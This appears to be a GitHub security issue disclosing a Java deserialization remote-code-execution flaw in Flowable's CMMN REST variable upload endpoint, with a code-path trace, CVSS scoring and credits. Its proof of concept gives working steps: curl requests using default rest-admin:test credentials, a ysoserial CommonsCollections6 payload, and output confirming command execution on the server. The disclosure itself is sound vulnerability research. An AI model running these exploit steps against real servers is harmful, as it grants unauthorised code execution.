Skip to content

[SECURITY] Deserialization RCE via CMMN REST PlanItemInstance variable endpoint with type=serializable (CWE-502, CVSS 8.1) #4280

Description

@Jiecub3

Flowable CMMN REST PlanItemInstance Variable Endpoint Deserialization RCE

Summary

The Flowable CMMN REST module's PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable() endpoint allows uploading files via multipart/form-data to create plan item instance variables. When the type parameter is serializable, the system uses Java native ObjectInputStream.readObject() to deserialize the user-uploaded file content, with no class filtering applied (no whitelist, no blacklist, no ObjectInputFilter). The classpath contains commons-collections-3.2.2.jar, providing the CommonsCollections6 deserialization gadget chain. An attacker can construct a malicious serialized object to achieve remote code execution (RCE).

Affected Version & Commit

Vulnerability Description

Trigger Location

file: modules/flowable-cmmn-rest/src/main/java/org/flowable/cmmn/rest/service/api/runtime/caze/BaseVariableResource.java
line: 365-367

// Try deserializing the object
ObjectInputStream stream = new ObjectInputStream(file.getInputStream());
Object value = stream.readObject();
setVariable(instanceId, variableName, value, scope, isNew, async, variableInterceptor);
stream.close();

Data Flow

HTTP POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables
  (Content-Type: multipart/form-data, file=<malicious serialized payload>, name=xxx, type=serializable)
    ↓
PlanItemInstanceVariableCollectionResource.createPlanItemInstanceVariable()
  PlanItemInstanceVariableCollectionResource.java:70-74
  Calls getPlanItemInstanceFromRequest() to validate plan item existence, then calls createVariable()
    ↓
BaseVariableResource.createVariable(PlanItemInstance, boolean, HttpServletRequest, HttpServletResponse)
  BaseVariableResource.java:188-191
    ↓
BaseVariableResource.createVariable(String, int, boolean, HttpServletRequest, ...)
  BaseVariableResource.java:193-264
  Detects request instanceof MultipartHttpServletRequest → true
  Calls setBinaryVariable()
    ↓
BaseVariableResource.setBinaryVariable(MultipartHttpServletRequest, ...)
  BaseVariableResource.java:303-391
  Parses type=serializable → enters else if (isSerializableVariableAllowed) branch
    ↓
ObjectInputStream.readObject()  ← SINK
  BaseVariableResource.java:365-366
  Directly deserializes user-uploaded file content, no class filtering → RCE

Configuration Switch (Enabled by Default)

BaseVariableResource.java:67:

isSerializableVariableAllowed = env.getProperty("rest.variables.allow.serializable", Boolean.class, true);

Defaults to true, meaning the deserialization path is directly reachable under default configuration.

Affected Endpoints

  • POST /flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables (port 8080)

Exploitation Conditions

Condition Description
Authentication Requires valid HTTP Basic auth credentials (any registered Flowable user; default provides rest-admin:test account)
Network reachability Internal network/public (HTTP reachable REST port 8080)
Configuration dependency rest.variables.allow.serializable=true (enabled by default); CMMN REST API endpoint exposed
Other prerequisites At least one active plan item instance must exist in the database; classpath contains commons-collections-3.2.2.jar

Proof of Concept

# 1. Get available plan item instance list (if none, deploy CMMN case and start instance first)
curl -s -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances"

# 2. Generate CommonsCollections6 payload using ysoserial
java --add-opens java.base/java.util=ALL-UNNAMED \
     --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     --add-opens java.base/java.text=ALL-UNNAMED \
     --add-opens java.desktop/java.awt.font=ALL-UNNAMED \
     --add-opens java.base/java.util.concurrent=ALL-UNNAMED \
     --add-opens java.base/java.net=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections6 \
     "touch /tmp/pwned_0405" > payload.ser

# 3. Send payload to target plan item instance
curl -X POST \
  -u rest-admin:test \
  "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/{planItemInstanceId}/variables" \
  -F "name=exploit" \
  -F "type=serializable" \
  -F "scope=local" \
  -F "file=@payload.ser"

Actual execution results:

Payload send request returns HTTP 201 Created:

{
  "name": "CommonsCollections6",
  "type": "serializable",
  "value": null,
  "valueUrl": "http://localhost:8080/flowable-rest/cmmn-api/cmmn-runtime/plan-item-instances/d3159c3e-8ffe-11f1-a444-02423661ba3a/variables/CommonsCollections6/data",
  "scope": "local"
}

RCE execution result confirmation:

$ ls -la /tmp/pwned_0405
-rw-r----- 1 root root 0 Aug  4 12:22 /tmp/pwned_0405

Exploitation Chain Progress

Chain Stage Location (file:line) Status Evidence / Notes
Entry PlanItemInstanceVariableCollectionResource.java:70 ✅ Connected HTTP POST multipart request reached CMMN REST endpoint
Existence validation BaseVariableResource.java:70-75 ✅ Connected planItemInstanceId validated via parameterized query
Multipart detection BaseVariableResource.java:193 ✅ Connected request instanceof MultipartHttpServletRequest = true
Type branch BaseVariableResource.java:363 ✅ Connected type=serializable → isSerializableVariableAllowed=true (default)
Sink BaseVariableResource.java:365-366 ✅ Triggered ObjectInputStream.readObject() executes deserialization, triggers CC6 chain
RCE result System filesystem ✅ Success Server created file /tmp/pwned_0405, HTTP 201 confirms variable storage success

Impact

  1. Deserialization vulnerability confirmed: The server successfully received and deserialized the CommonsCollections6 payload via ObjectInputStream.readObject()
  2. RCE confirmed: The touch /tmp/pwned_0405 command in the payload executed successfully on the server, file created (timestamp Aug 4 12:22, matching request time)
  3. HTTP 201 response proves the deserialized object was stored as a plan item instance variable with no exception thrown
  4. No class filtering protection: No ObjectInputFilter, whitelist, or blacklist configured in the code; readObject() called directly

Severity

CVSS v3.1: 8.1 (High)
Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE: CWE-502 (Deserialization of Untrusted Data)

Credit

  • Jiecub3 (GitHub ID: 87791178)
  • Aur0ra-m (GitHub ID: 103031059)
  • lz2y (GitHub ID: 55266300)

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions